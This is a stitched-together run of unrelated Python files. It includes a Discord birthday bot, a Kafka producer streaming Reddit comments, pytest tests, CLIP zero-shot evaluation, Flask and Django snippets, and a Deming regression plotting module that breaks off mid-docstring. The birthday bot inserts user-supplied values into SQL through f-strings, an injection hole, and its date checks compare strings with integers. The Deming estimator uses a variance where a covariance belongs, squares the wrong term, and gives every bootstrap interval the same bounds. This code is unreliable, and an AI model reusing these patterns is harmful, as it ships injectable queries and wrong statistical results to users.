0x4DCD, # 八卦符号 = ䷍ 0x97AE: 0x4DCE, # 八卦符号 = ䷎ 0x97AF: 0x4DCF, # 八卦符号 = ䷏ 0x97B0: 0x4DD0, # 八卦符号 = ䷐ 0x97B1: 0x4DD1, # 八卦符号 = ䷑ 0x97B2: 0x4DD2, # 八卦符号 = ䷒ 0x97B3: 0x4DD3, # 八卦符号 = ䷓ 0x97B4: 0x4DD4, # 八卦符号 = ䷔ 0x97B5: 0x4DD5, # 八卦符号 = ䷕ 0x97B6: 0x4DD6, # 八卦符号 = ䷖ 0x97B7: 0x4DD7, # 八卦符号 = ䷗ 0x97B8: 0x4DD8, # 八卦符号 = ䷘ 0x97B9: 0x4DD9, # 八卦符号 = ䷙ 0x97BA: 0x4DDA, # 八卦符号 = ䷚ 0x97BB: 0x4DDB, # 八卦符号 = ䷛ 0x97BC: 0x4DDC, # 八卦符号 = ䷜ 0x97BD: 0x4DDD, # 八卦符号 = ䷝ 0x97BE: 0x4DDE, # 八卦符号 = ䷞ 0x97BF: 0x4DDF, # 八卦符号 = ䷟ 0x97C0: 0x4DE0, # 八卦符号 = ䷠ 0x97C1: 0x4DE1, # 八卦符号 = ䷡ 0x97C2: 0x4DE2, # 八卦符号 = ䷢ 0x97C3: 0x4DE3, # 八卦符号 = ䷣ 0x97C4: 0x4DE4, # 八卦符号 = ䷤ 0x97C5: 0x4DE5, # 八卦符号 = ䷥ 0x97C6: 0x4DE6, # 八卦符号 = ䷦ 0x97C7: 0x4DE7, # 八卦符号 = ䷧ 0x97C8: 0x4DE8, # 八卦符号 = ䷨ 0x97C9: 0x4DE9, # 八卦符号 = ䷩ 0x97CA: 0x4DEA, # 八卦符号 = ䷪ 0x97CB: 0x4DEB, # 八卦符号 = ䷫ 0x97CC: 0x4DEC, # 八卦符号 = ䷬ 0x97CD: 0x4DED, # 八卦符号 = ䷭ 0x97CE: 0x4DEE, # 八卦符号 = ䷮ 0x97CF: 0x4DEF, # 八卦符号 = ䷯ 0x97D0: 0x4DF0, # 八卦符号 = ䷰ 0x97D1: 0x4DF1, # 八卦符号 = ䷱ 0x97D2: 0x4DF2, # 八卦符号 = ䷲ 0x97D3: 0x4DF3, # 八卦符号 = ䷳ 0x97D4: 0x4DF4, # 八卦符号 = ䷴ 0x97D5: 0x4DF5, # 八卦符号 = ䷵ 0x97D6: 0x4DF6, # 八卦符号 = ䷶ 0x97D7: 0x4DF7, # 八卦符号 = ䷷ 0x97D8: 0x4DF8, # 八卦符号 = ䷸ 0x97D9: 0x4DF9, # 八卦符号 = ䷹ 0x97DA: 0x4DFA, # 八卦符号 = ䷺ 0x97DB: 0x4DFB, # 八卦符号 = ䷻ 0x97DC: 0x4DFC, # 八卦符号 = ䷼ 0x97DD: 0x4DFD, # 八卦符号 = ䷽ 0x97DE: 0x4DFE, # 八卦符号 = ䷾ 0x97DF: 0x4DFF, # 八卦符号 = ䷿ 0x97E0: 0x2630, # 八卦符号 = ☰ 0x97E1: 0x2637, # 八卦符号 = ☷ 0x97E2: 0x2633, # 八卦符号 = ☳ 0x97E3: 0x2634, # 八卦符号 = ☴ 0x97E4: 0x2635, # 八卦符号 = ☵ 0x97E5: 0x2632, # 八卦符号 = ☲ 0x97E6: 0x2636, # 八卦符号 = ☶ 0x97E7: 0x2631, # 八卦符号 = ☱ 0x97EF: 0x2A0D, # 积分主值 = ⨍ 0x97F0: 0x0274, # 国际音标 = ɴ 0x97F1: 0x0280, # 国际音标 = ʀ 0x97F2: 0x97F2, # 国际音标(ɔ̃) 0x97F3: 0x97F3, # 国际音标(ɛ̃) 0xA080: 0x00B7, # 外文间隔点 = · 0xA08E: 0x2039, # 外文左单书名号 = ‹ 0xA08F: 0x203A, # 外文右单书名号 = › 0xA090: 0x00AB, # 外文左双书名号 = « 0xA091: 0x00BB, # 外文右双书名号 = » 0xBD8A: 0x2201, # 补集 = ∁ 0xBD8B: 0x2115, # 集合符号N = ℕ 0xBD8C: 0x2124, # 集合符号Z = ℤ 0xBD8D: 0x211A, # 集合符号Q = ℚ 0xBD8E: 0x211D, # 集合符号R = ℝ 0xBD8F: 0x2102, # 集合符号C = ℂ 0xBD90: 0x00AC, # 否定符号 = ¬ 0xBD93: 0xBD93, # 不属于(∈ + \) 0xBD94: 0xBD94, # 不属于(∈ + |) 0xBD95: 0x220B, # 属于 = ∋ 0xBD96: 0x220C, # 不属于 = ∌ 0xBD97: 0xBD97, # 不属于(∋ + |) 0xBD98: 0xBD98, # 不属于(∌ + \) 0xBD99: 0x22FD, # 不属于 = ⋽ 0xBD9A: 0xBD9A, # 不等于(= + \) 0xBD9B: 0x1d463 # 𝑣 })
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from __future__ import annotations from copy import deepcopy from dataclasses import dataclass from typing import Callable, TypeVar from pymon import Future, Pipe, cmap, creducel, hof_2, this_async from pymon.core import returns_future from moona.lifespan import LifespanContext LifespanFunc = Callable[[LifespanContext], Future[LifespanContext | None]] _LifespanHandler = Callable[ [LifespanFunc, LifespanContext], Future[LifespanContext | None] ] def compose(h1: _LifespanHandler, h2: _LifespanHandler) -> LifespanHandler: """Compose 2 `LifespanHandler`s into one. Args: h1 (_LifespanHandler): to run first. h2 (_LifespanHandler): to run second. Returns: LifespanHandler: resulting handler. """ def handler( final: LifespanFunc, ctx: LifespanContext ) -> Future[LifespanContext | None]: _h1 = hof_2(h1) _h2 = hof_2(h2) func = _h1(_h2(final)) return func(ctx) return LifespanHandler(handler) @dataclass(frozen=True, slots=True) class LifespanHandler: """Abstraction over function that hander `LifespanContext`.""" _handler: Callable[[LifespanContext], Future[LifespanContext | None]] def __call__( # noqa self, nxt: LifespanFunc, ctx: LifespanContext ) -> Future[LifespanContext | None]: return returns_future(self._handler)(nxt, ctx) def __init__(self, handler: _LifespanHandler) -> None: object.__setattr__(self, "_handler", handler) def compose(self, h: _LifespanHandler) -> LifespanHandler: """Compose 2 `LifespanHandler`s into one. Args: h2 (_LifespanHandler): to run next. Returns: LifespanHandler: resulting handler. """ return compose(self, h) def __rshift__(self, h: _LifespanHandler) -> LifespanHandler: return compose(self, h) A = TypeVar("A") B = TypeVar("B") C = TypeVar("C") def handler(func: _LifespanHandler) -> LifespanHandler: """Decorator that converts function to LifespanHandler callable.""" return LifespanHandler(func) def handle_func(func: LifespanFunc) -> LifespanHandler: """Converts `LifespanFunc` to `LifespanHandler`. Args: func (LifespanFunc): to convert to `LifespanHandler`. Returns: LifespanHandler: result. """ @handler async def _handler( nxt: LifespanFunc, ctx: LifespanContext ) -> LifespanContext | None: match await func(ctx): case None: return None case LifespanContext() as _ctx: return await nxt(_ctx) return _handler def handle_func_sync( func: Callable[[LifespanContext], LifespanContext | None] ) -> LifespanHandler: """Converts sync `LifespanFunc` to `LifespanHandler`. Args: func (Callable[[LifespanContext], LifespanContext | None]): to convert to `LifespanHandler`. Returns: LifespanHandler: result. """ @handler async def _handler( nxt: LifespanFunc, ctx: LifespanContext ) -> LifespanContext | None: match func(ctx): case None: return None case LifespanContext() as _ctx: return await nxt(_ctx) return _handler def __choose_reducer(f: LifespanFunc, s: LifespanFunc) -> LifespanFunc: @returns_future async def func(ctx: LifespanContext) -> LifespanFunc: _ctx = deepcopy(ctx) match await f(_ctx): case None: return await s(ctx) case some: return some return func def choose(handlers: list[LifespanHandler]) -> LifespanHandler: """Iterate though handlers till one would return some `LifespanContext`. Args: handlers (list[LifespanHandler]): to iterate through. Returns: LifespanHandler: result. """ @handler async def _handler( nxt: LifespanFunc, ctx: LifespanContext ) -> LifespanContext | None: match handlers: case []: return await nxt(ctx) case _: func: LifespanFunc = ( Pipe(handlers) .then(cmap(hof_2)) .then(cmap(lambda h: h(nxt))) .then(creducel(__choose_reducer)) .finish() ) return await func(ctx) return _handler def handler1( func: Callable[[A, LifespanFunc, LifespanContext], Future[LifespanContext | None]] ) -> Callable[[A], LifespanHandler]: """Decorator for LifespanHandlers with 1 additional argument. Makes it "curried". """ def wrapper(a: A) -> LifespanHandler: return LifespanHandler(lambda nxt, ctx: func(a, nxt, ctx)) return wrapper def handler2( func: Callable[ [A, B, LifespanFunc, LifespanContext], Future[LifespanContext | None] ] ) -> Callable[[A, B], LifespanHandler]: """Decorator for LifespanHandlers with 2 additional arguments. Makes it "curried". """ def wrapper(a: A, b: B) -> LifespanHandler: return LifespanHandler(lambda nxt, ctx: func(a, b, nxt, ctx)) return wrapper def handler3( func: Callable[ [A, B, C, LifespanFunc, LifespanContext], Future[LifespanContext | None] ] ) -> Callable[[A, B, C], LifespanHandler]: """Decorator for LifespanHandlers with 1 additional argument. Makes it "curried". """ def wrapper(a: A, b: B, c: C) -> LifespanHandler: return LifespanHandler(lambda nxt, ctx: func(a, b, c, nxt, ctx)) return wrapper def skip(_: LifespanContext) -> Future[None]: """`LifespanFunc` that skips pipeline by returning `None` instead of context. Args: _ (LifespanContext): ctx we don't care of. Returns: Future[None]: result. """ return Future(this_async(None)) def end(ctx: LifespanContext) -> Future[LifespanContext]: """`LifespanFunc` that finishes the pipeline of request handling. Args: ctx (LifespanContext): to end. Returns: Future[LifespanContext]: ended ctx. """ return Future(this_async(ctx))
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import discord from discord.ext import commands import json import os import psycopg2 import pytz class Birthday(commands.Cog): """Never forget birthday of your friends""" def __init__(self): # Set up database DATABASE_URL = os.environ["DATABASE_URL"] self.dbcon = psycopg2.connect(DATABASE_URL, sslmode = "require") self.cursor = self.dbcon.cursor() # Make a table if not already made query = """CREATE TABLE IF NOT EXISTS bday( id BIGINT NOT NULL PRIMARY KEY, guild_id BIGINT NOT NULL, bday_date INT NOT NULL, bday_month INT NOT NULL, tz TEXT NOT NULL )""" self.cursor.execute(query) self.dbcon.commit() @commands.guild_only() @commands.group(invoke_without_command = True) async def bday(self, ctx): """To set your bday type `luci bday set` If you want to edit a bday type `luci bday edit`""" pass @bday.command(name = "set") async def setbday(self, ctx, member: discord.Member, date, tz = "UTC"): """Usage: luci bday set @Lucifer Chase 27/02 kolkata If you don't care about the timezone thing leave it blank""" date = date.split("/") for i in range(2): if (date[i][0] == 0): date[i] = date[i][1] correct_date = True if (date[0] > 31 or date[0] < 0 or date[1] > 12 or date[0] < 0): correct_date = False if (date[0] > 30 and date[1] not in [1, 3, 5, 7, 8, 10, 12]): correct_date = False elif (date[1] == 2 and date[0] > 27): correct_date = False if (not correct_date): await ctx.send("Bruh! My expectation from you was low but holy shit!") bday_date, bday_month = date if (tz != "UTC"): list_of_timezones = list(pytz.all_timezones) for i in range(len(list_of_timezones)): if (tz.title() in list_of_timezones[i]): tz = list_of_timezones[i] break else: await ctx.send("Uh oh! Timezone not found 👀") await ctx.send("You can check list of timezones using `luci timezones [continent name]`") return try: self.cursor.execute("DELETE FROM bday WHERE id = {}".format(member.id)) self.dbcon.commit() except: pass query = f"""INSERT INTO bday VALUES ({member.id}, {member.guild.id}, {bday_date}, {bday_month}, '{tz}')""" try: self.cursor.execute(query) self.dbcon.commit() except Exception as error: await ctx.send(f"```css\n{error}```") await ctx.send(str("Are you doing everything correctly?" + "Might want to check usage `luci help bday set`" + "Or if the problem persists ping `@Lucifer Chase`")) else: embed = discord.Embed(title = "Success! <a:nacho:839499460874862655>", color = 0x00FFFF) embed.add_field(name = "Member", value = member.nick) embed.add_field(name = "Date", value = "/".join(date)) embed.add_field(name = "Timezone", value = tz) await ctx.send(embed = embed) @bday.command(name = "delete") async def bdaydelete(self, ctx): self.cursor.execute("DELETE FROM bday WHERE id = {}".format(ctx.author.id)) self.dbcon.commit() @commands.command() @commands.is_owner() async def showbday(self, ctx): self.cursor.execute("SELECT * FROM bday") data = self.cursor.fetchall() await ctx.send("```css\n{}```".format(json.dumps(data[len(data)//2:], indent = 1))) await ctx.send("```css\n{}```".format(json.dumps(data[:len(data)//2], indent = 1))) not_redundant = [] redundant = [] for i in data: if (i[0] not in not_redundant): not_redundant.append(i[0]) else: redundant.append(i[0]) await ctx.send("```css\n{}```".format(json.dumps(redundant, indent = 2)))
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#sub processes to scrape using the normal Google scraper #include libs import sys sys.path.insert(0, '..') from include import * def save_sources(): call(["python3", "job_save_sources.py"]) def scraper(): call(["python3", "job_scraper.py"]) def reset_scraper(): call(["python3", "job_reset_scraper.py"]) def reset_sources(): call(["python3", "job_reset_sources.py"]) process1 = threading.Thread(target=scraper) process2 = threading.Thread(target=save_sources) process3 = threading.Thread(target=reset_scraper) process4 = threading.Thread(target=reset_sources) process1.start() process2.start() process3.start() process4.start()
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# producer to stream data into kafka from boto.s3.connection import S3Connection import datetime import json import bz2 from kafka import KafkaProducer from kafka.errors import KafkaError import time import pytz conn = S3Connection() key = conn.get_bucket('aspk-reddit-posts').get_key('comments/RC_2017-11.bz2') producer = KafkaProducer(bootstrap_servers=['10.0.0.5:9092']) count = 0 decomp = bz2.BZ2Decompressor() CHUNK_SIZE= 5000*1024 timezone = pytz.timezone("America/Los_Angeles") start_time = time.time() while True: print('in') chunk = key.read(CHUNK_SIZE) if not chunk: break data = decomp.decompress(chunk).decode() for i in data.split('\n'): try: count+=1 if count%10000==0 and count!=0: print('rate of kafka producer messages is {}'.format(count/(time.time()-start_time))) comment = json.loads(i) reddit_event = {} reddit_event['post'] = comment['permalink'].split('/')[-3] reddit_event['subreddit'] = comment['subreddit'] reddit_event['timestamp'] = str(datetime.datetime.fromtimestamp(time.time())) reddit_event['body'] = comment['body'] reddit_event['author'] = comment['author'] producer.send('reddit-stream-topic', bytes(json.dumps(reddit_event),'utf-8')) producer.flush() # to reduce speed use time.sleep(0.01) #time.sleep(0.001) except: print('Incomplete string ... skipping this comment') #break
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#from pydantic import BaseModel as Model # This gives us backwards compatible API calls from fastapi_camelcase import CamelModel as Model from typing import Optional, List from datetime import date, datetime class UserDefinition(Model): username: str password: Optional[str] = None firstname: Optional[str] = None lastname: Optional[str] = None class UserWrapperDefinition(Model): user: UserDefinition class UserResults(Model): users: List[UserDefinition] class EventDefinition(Model): id: str event_type: str reason: Optional[str] = None source: Optional[str] = None message: Optional[str] = None timestamp: Optional[datetime] = None class KeyValueDefinition(Model): key: str value: str class VolumeMountDefinition(Model): path: str name: str claim: str class EventResults(Model): events: List[EventDefinition] class TaskDefinition(Model): id: str name: str image: str command: str args: List[str] = [] mounts: List[VolumeMountDefinition] = [] num_gpus: Optional[int] pull_policy: str node_selector: List[KeyValueDefinition] = [] resource_type: str num_workers: Optional[int] depends: List[str] = [] inputs: List[str] = [] outputs: List[str] = [] class TaskStatusDefinition(Model): id: str task: str name: str status: str command: str image: str resource_type: str resource_id: str submit_time: Optional[datetime] completion_time: Optional[datetime] events: List[EventDefinition] = [] class PipelineDefinition(Model): id: Optional[str] job: str version: Optional[str] tasks: List[TaskStatusDefinition] = [] name: Optional[str] status: Optional[str] message: Optional[str] submit_time: Optional[datetime] = None completion_time: Optional[datetime] = None class PipelineWrapperDefinition(Model): pipeline: Optional[PipelineDefinition] = None context: dict = [] class PipelineResults(Model): pipelines: List[PipelineDefinition] = [] class PipelineCleanupDefinition(Model): task_id: str cleaned_from_k8s: Optional[bool] = True purged_from_db: Optional[bool] = False removed_from_fs: Optional[bool] = False class PipelineCleanupResults(Model): cleanups: List[PipelineCleanupDefinition] = [] class ConfigDefinition(Model): id: str name: str content: str class JobDefinition(Model): id: Optional[str] = None name: str location: Optional[str] = None creation_time: Optional[datetime] tasks: List[TaskDefinition] = [] configs: List[ConfigDefinition] = [] class JobWrapperDefinition(Model): job: Optional[JobDefinition] = None class JobResults(Model): jobs: List[JobDefinition] = [] class UploadDefinition(Model): bytes: int location: str class AuthResponseDefinition(Model): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ message: Optional[str] = None
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################################################## # Import Own Assets ################################################## from hyperparameter_hunter.data.data_core import BaseDataChunk, BaseDataset, NullDataChunk ################################################## # Import Miscellaneous Assets ################################################## import pandas as pd import pytest from unittest import mock ################################################## # White-Box/Structural Test Fixtures ################################################## @pytest.fixture(scope="module") def null_chunk_fixture(): """Boring fixture that creates an instance of :class:`data.data_core.NullDataChunk`""" return NullDataChunk() @pytest.fixture(scope="module") def base_dataset_fixture(): """Boring fixture that creates an instance of :class:`data.data_core.BaseDataset`""" return BaseDataset(None, None) ################################################## # White-Box/Structural Tests ################################################## @mock.patch("hyperparameter_hunter.data.data_core.NullDataChunk._on_call_default") @pytest.mark.parametrize("point", ["start", "end"]) @pytest.mark.parametrize("division", ["exp", "rep", "fold", "run"]) def test_callback_method_invocation(mock_on_call_default, point, division, null_chunk_fixture): """Test that calling any primary callback methods of :class:`data.data_core.NullDataChunk` results in a call to :meth:`data.data_core.BaseDataCore._on_call_default` with the appropriate `division` and `point` arguments. Using `on_fold_end` as an example, this function ensures:: `on_fold_end(...)` call -> `_on_call_default("fold", "end", ...)` call""" null_chunk_fixture.__getattribute__(f"on_{division}_{point}")("An arg", k="A kwarg") mock_on_call_default.assert_called_once_with(division, point, "An arg", k="A kwarg") @pytest.mark.parametrize("point", ["start", "end"]) @pytest.mark.parametrize("division", ["exp", "rep", "fold", "run"]) def test_do_something_invocation(point, division, null_chunk_fixture): """Test that calling :meth:`data.data_core.NullDataChunk._do_something` results in the invocation of the proper primary callback method as specified by `division` and `point`. Using `on_fold_end` as an example, this function ensures:: `_do_something("fold", "end", ...)` call -> `on_fold_end(...)` call""" method_to_mock = f"on_{division}_{point}" mock_method_path = f"hyperparameter_hunter.data.data_core.NullDataChunk.{method_to_mock}" with mock.patch(mock_method_path) as mock_primary_callback: null_chunk_fixture._do_something(division, point, "An arg", k="A kwarg") mock_primary_callback.assert_called_once_with("An arg", k="A kwarg") @pytest.mark.parametrize("point", ["start", "end"]) @pytest.mark.parametrize("division", ["exp", "rep", "fold", "run"]) def test_kind_chunk_invocation(point, division, base_dataset_fixture): """Test that calling :meth:`data.data_core.BaseDataset._do_something` results in the invocation of the proper callback method of :class:`data.data_core.BaseDataChunk` three times (once for `input`, `target` and `prediction`). Using `on_fold_end` as an example, this function ensures:: `_do_something("fold", "end", ...)` `BaseDataset` call -> `on_fold_end(...)` call (`input` chunk) `on_fold_end(...)` call (`target` chunk) `on_fold_end(...)` call (`prediction` chunk)""" method_to_mock = f"on_{division}_{point}" mock_method_path = f"hyperparameter_hunter.data.data_core.BaseDataChunk.{method_to_mock}" with mock.patch(mock_method_path) as mock_primary_callback: base_dataset_fixture._do_something(division, point, "An arg", k="A kwarg") mock_primary_callback.assert_has_calls([mock.call("An arg", k="A kwarg")] * 3) ################################################## # `BaseDataChunk` Equality ################################################## def _update_data_chunk(updates: dict): chunk = BaseDataChunk(None) for key, value in updates.items(): if key.startswith("T."): setattr(chunk.T, key[2:], value) else: setattr(chunk, key, value) return chunk @pytest.fixture() def data_chunk_fixture(request): return _update_data_chunk(getattr(request, "param", dict())) @pytest.fixture() def another_data_chunk_fixture(request): return _update_data_chunk(getattr(request, "param", dict())) #################### Test Scenario Data #################### df_0 = pd.DataFrame(dict(a=[1, 2, 3], b=[4, 5, 6])) df_1 = pd.DataFrame(dict(a=[1, 2, 3], b=[999, 5, 6])) df_2 = pd.DataFrame(dict(a=[1, 2, 3], b=[4, 5, 6]), index=["foo", "bar", "baz"]) df_3 = pd.DataFrame(dict(a=[1, 2, 3], c=[4, 5, 6]), index=["foo", "bar", "baz"]) df_4 = pd.DataFrame(dict(a=[1, 2, 3], b=[4, 5, 6], c=[7, 8, 9])) chunk_data_0 = dict(d=pd.DataFrame()) chunk_data_1 = dict(d=pd.DataFrame(), fold=df_0) chunk_data_2 = dict(d=pd.DataFrame(), fold=df_1) chunk_data_3 = dict(d=pd.DataFrame(), fold=df_2) chunk_data_4 = {"d": pd.DataFrame(), "fold": df_2, "T.fold": df_3} chunk_data_5 = {"d": pd.DataFrame(), "fold": df_3, "T.fold": df_2} chunk_data_6 = {"d": pd.DataFrame(), "fold": df_3, "T.fold": df_2, "T.d": df_4} @pytest.mark.parametrize( ["data_chunk_fixture", "another_data_chunk_fixture"], [ [dict(), dict()], [chunk_data_0, chunk_data_0], [chunk_data_1, chunk_data_1], [chunk_data_2, chunk_data_2], [chunk_data_3, chunk_data_3], [chunk_data_4, chunk_data_4], [chunk_data_5, chunk_data_5], [chunk_data_6, chunk_data_6], ], indirect=True, ) def test_data_chunk_equality(data_chunk_fixture, another_data_chunk_fixture): assert data_chunk_fixture == another_data_chunk_fixture #################### Inequality Tests #################### @pytest.mark.parametrize( "data_chunk_fixture", [chunk_data_1, chunk_data_2, chunk_data_3, chunk_data_4, chunk_data_5, chunk_data_6], indirect=True, ) def test_data_chunk_inequality_0(data_chunk_fixture): assert _update_data_chunk(chunk_data_0) != data_chunk_fixture @pytest.mark.parametrize( "data_chunk_fixture", [chunk_data_0, chunk_data_2, chunk_data_3, chunk_data_4, chunk_data_5, chunk_data_6], indirect=True, ) def test_data_chunk_inequality_1(data_chunk_fixture): assert _update_data_chunk(chunk_data_1) != data_chunk_fixture @pytest.mark.parametrize( "data_chunk_fixture", [chunk_data_0, chunk_data_1, chunk_data_3, chunk_data_4, chunk_data_5, chunk_data_6], indirect=True, ) def test_data_chunk_inequality_2(data_chunk_fixture): assert _update_data_chunk(chunk_data_2) != data_chunk_fixture @pytest.mark.parametrize( "data_chunk_fixture", [chunk_data_0, chunk_data_1, chunk_data_2, chunk_data_4, chunk_data_5, chunk_data_6], indirect=True, ) def test_data_chunk_inequality_3(data_chunk_fixture): assert _update_data_chunk(chunk_data_3) != data_chunk_fixture @pytest.mark.parametrize( "data_chunk_fixture", [chunk_data_0, chunk_data_1, chunk_data_2, chunk_data_3, chunk_data_5, chunk_data_6], indirect=True, ) def test_data_chunk_inequality_4(data_chunk_fixture): assert _update_data_chunk(chunk_data_4) != data_chunk_fixture @pytest.mark.parametrize( "data_chunk_fixture", [chunk_data_0, chunk_data_1, chunk_data_2, chunk_data_3, chunk_data_4, chunk_data_6], indirect=True, ) def test_data_chunk_inequality_5(data_chunk_fixture): assert _update_data_chunk(chunk_data_5) != data_chunk_fixture @pytest.mark.parametrize( "data_chunk_fixture", [chunk_data_0, chunk_data_1, chunk_data_2, chunk_data_3, chunk_data_4, chunk_data_5], indirect=True, ) def test_data_chunk_inequality_6(data_chunk_fixture): assert _update_data_chunk(chunk_data_6) != data_chunk_fixture
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from getthat import getthat # from sna.search import Sna Sna = getthat("sna.search", "Sna") sna = Sna()
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import os import torch from tqdm import tqdm import numpy as np import clip.clip as clip import src.templates as templates import src.datasets as datasets from src.args import parse_arguments from src.models.modeling import ClassificationHead, ImageEncoder, ImageClassifier from src.models.eval import evaluate def get_zeroshot_classifier(args, clip_model): assert args.template is not None assert args.train_dataset is not None template = getattr(templates, args.template) logit_scale = clip_model.logit_scale dataset_class = getattr(datasets, args.train_dataset) dataset = dataset_class( None, location=args.data_location, batch_size=args.batch_size, classnames=args.classnames ) device = args.device clip_model.eval() clip_model.to(device) print('Getting zeroshot weights.') with torch.no_grad(): zeroshot_weights = [] for classname in tqdm(dataset.classnames): texts = [] for t in template: texts.append(t(classname)) texts = clip.tokenize(texts).to(device) # tokenize embeddings = clip_model.encode_text(texts) # embed with text encoder embeddings /= embeddings.norm(dim=-1, keepdim=True) embeddings = embeddings.mean(dim=0, keepdim=True) embeddings /= embeddings.norm() zeroshot_weights.append(embeddings) zeroshot_weights = torch.stack(zeroshot_weights, dim=0).to(device) zeroshot_weights = torch.transpose(zeroshot_weights, 0, 2) zeroshot_weights *= logit_scale.exp() zeroshot_weights = zeroshot_weights.squeeze().float() zeroshot_weights = torch.transpose(zeroshot_weights, 0, 1) classification_head = ClassificationHead(normalize=True, weights=zeroshot_weights) return classification_head def eval(args): args.freeze_encoder = True if args.load is not None: classifier = ImageClassifier.load(args.load) else: image_encoder = ImageEncoder(args, keep_lang=True) classification_head = get_zeroshot_classifier(args, image_encoder.model) delattr(image_encoder.model, 'transformer') classifier = ImageClassifier(image_encoder, classification_head, process_images=False) evaluate(classifier, args) if args.save is not None: classifier.save(args.save) if __name__ == '__main__': args = parse_arguments() eval(args)
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from flask import Blueprint bp = Blueprint('main', __name__) @bp.after_app_request def after_request(response): """Cache Bust """ cache_cont = "no-cache, no-store, must-revalidate, public, max-age=0" response.headers["Cache-Control"] = cache_cont response.headers["Expires"] = 0 response.headers["Pragma"] = "no-cache" return response from app.main import routes # noqa: F401
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from django.db import models from django.contrib.auth.models import User class Category(models.Model): name = models.CharField(max_length=100) def __str__(self): return self.name class Tag(models.Model): name = models.CharField(max_length=100) def __str__(self): return self.name class Post(models.Model): title = models.CharField(max_length=80) subtitle = models.CharField(max_length=80) publish_date = models.DateTimeField() content = models.TextField() link = models.CharField(max_length=100) author = models.ForeignKey(User, on_delete=models.CASCADE) category = models.ForeignKey(Category, on_delete=models.CASCADE) tag = models.ManyToManyField(Tag, blank=True) def __str__(self): return self.title
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import matplotlib.pyplot as plt import pandas as pd import scipy.stats as st import statsmodels.api as sm import math import numpy as np __all__ = ["deming", "passingbablok", "linear"] class _Deming(object): """Internal class for drawing a Deming regression plot""" def __init__(self, method1, method2, vr, sdr, bootstrap, x_label, y_label, title, CI, line_reference, line_CI, legend, color_points, color_deming, point_kws): self.method1: np.array = np.asarray(method1) self.method2: np.array = np.asarray(method2) self.vr = vr self.sdr = sdr self.bootstrap = bootstrap self.x_title = x_label self.y_title = y_label self.graph_title = title self.color_points = color_points self.color_deming = color_deming self.CI = CI self.line_reference = line_reference self.line_CI = line_CI self.legend = legend self.point_kws = {} if point_kws is None else point_kws.copy() self._check_params() self._derive_params() def _check_params(self): if len(self.method1) != len(self.method2): raise ValueError('Length of method 1 and method 2 are not equal.') if self.bootstrap is not None and not isinstance(self.bootstrap, int): raise ValueError('Bootstrap argument should either be None or an integer.') if self.CI is not None and (self.CI > 1 or self.CI < 0): raise ValueError('Confidence interval must be between 0 and 1.') if any([not isinstance(x, str) for x in [self.x_title, self.y_title]]): raise ValueError('Axes labels arguments should be provided as a str.') def _derive_params(self): def _deming(x, y, lamb): ssdx = np.var(x, ddof=1) * (self.n - 1) ssdy = np.var(y, ddof=1) * (self.n - 1) spdxy = np.cov(x, y)[1][1] * (self.n - 1) beta = (ssdy - lamb * ssdx + math.sqrt((ssdy - lamb * ssdx) ** 2 + 4 * lamb * (ssdy ** 2))) / ( 2 * spdxy) alpha = y.mean() - beta * x.mean() ksi = (lamb * x + beta * (y - alpha)) / (lamb + beta ** 2) sigmax = lamb * sum((x - ksi) ** 2) + sum((y - alpha - beta * ksi) ** 2) / ( (self.n - 2) * beta) sigmay = math.sqrt(lamb * sigmax) sigmax = math.sqrt(sigmax) return alpha, beta, sigmax, sigmay self.n = len(self.method1) if self.vr is not None: _lambda = self.vr elif self.sdr is not None: _lambda = self.sdr else: _lambda = 1 params = _deming(self.method1, self.method2, _lambda) if self.bootstrap is None: self.alpha = params[0] self.beta = params[1] self.sigmax = params[2] self.sigmay = params[3] else: _params = np.zeros([self.bootstrap, 4]) for i in range(self.bootstrap): idx = np.random.choice(range(self.n), self.n, replace=True) _params[i] = _deming(np.take(self.method1, idx), np.take(self.method2, idx), _lambda) _paramsdf = pd.DataFrame(_params, columns=['alpha', 'beta', 'sigmax', 'sigmay']) se = np.sqrt(np.diag(np.cov(_paramsdf.cov()))) t = np.transpose( np.apply_along_axis(np.quantile, 0, _params, [0.5, (1 - self.CI) / 2, 1 - (1 - self.CI) / 2])) self.alpha = [t[0][0], se[0], t[0][1], t[0][2]] self.beta = [t[1][0], se[1], t[0][1], t[0][2]] self.sigmax = [t[2][0], se[2], t[0][1], t[0][2]] self.sigmay = [t[3][0], se[3], t[0][1], t[0][2]] def plot(self, ax): # plot individual points ax.scatter(self.method1, self.method2, s=20, alpha=0.6, color=self.color_points) # plot reference line if self.line_reference: ax.plot([0, 1], [0, 1], label='Reference', color='grey', linestyle='--', transform=ax.transAxes) # plot Deming-line _xvals = np.array(ax.get_xlim()) if self.bootstrap is None: _yvals = self.alpha + self.beta * _xvals ax.plot(_xvals, _yvals, label=f'{self.alpha:.2f} + {self.beta:.2f} * Method 1', color=self.color_deming, linestyle='-') else: _yvals = [self.alpha[s] + self.beta[0] * _xvals for s in range(0, 4)] ax.plot(_xvals, _yvals[0], label=f'{self.alpha[0]:.2f} + {self.beta[0]:.2f} * Method 1', color=self.color_deming, linestyle='-') ax.fill_between(_xvals, _yvals[2], _yvals[3], color=self.color_deming, alpha=0.2) if self.line_CI: ax.plot(_xvals, _yvals[2], linestyle='--') ax.plot(_xvals, _yvals[3], linestyle='--') if self.legend: ax.legend(loc='upper left', frameon=False) ax.set_ylabel(self.y_title) ax.set_xlabel(self.x_title) if self.graph_title is not None: ax.set_title(self.graph_title) def deming(method1, method2, vr=None, sdr=None, bootstrap=1000, x_label='Method 1', y_label='Method 2', title=None, CI=0.95, line_reference=True, line_CI=False, legend=True, color_points='#000000', color_deming='#008bff', point_kws=None, square=False, ax=None): """Provide a method comparison using Deming regression. This is an Axis-level function which will draw the Deming plot onto the current active Axis object unless ``ax`` is provided. Parameters ---------- method1, method2 : array, or list Values obtained from both methods, preferably provided in a np.array. vr : float The assumed known ratio of the (residual) variance of the ys relative to that of the xs. Defaults to 1. sdr : float The assumed known standard deviations. Parameter vr takes precedence if both are given. Defaults to 1. bootstrap : int or None Amount of bootstrap estimates that should be performed to acquire standard errors (and confidence intervals). If None, no bootstrapping is performed. Defaults to 1000. x_label : str, optional The label which is added to the X-axis. If None is provided, a standard label will be added. y_label : str, optional The label which is added to the Y-axis. If None is provided, a standard label will be added. title : str, optional Title of the plot. If None is provided, no title will be plotted. CI : float, optional The confidence interval employed in Deming line. Defaults to 0.95. line_reference : bool, optional If True, a grey reference line at y=x will be plotted in the plot. Defaults to true. line_CI : bool, optional If True, dashed lines will be plotted at the boundaries of the confidence intervals. Defaults to false. legend : bool, optional If True, will provide a legend containing the computed Deming equation. Defaults to true. color_points : str, optional Color of the 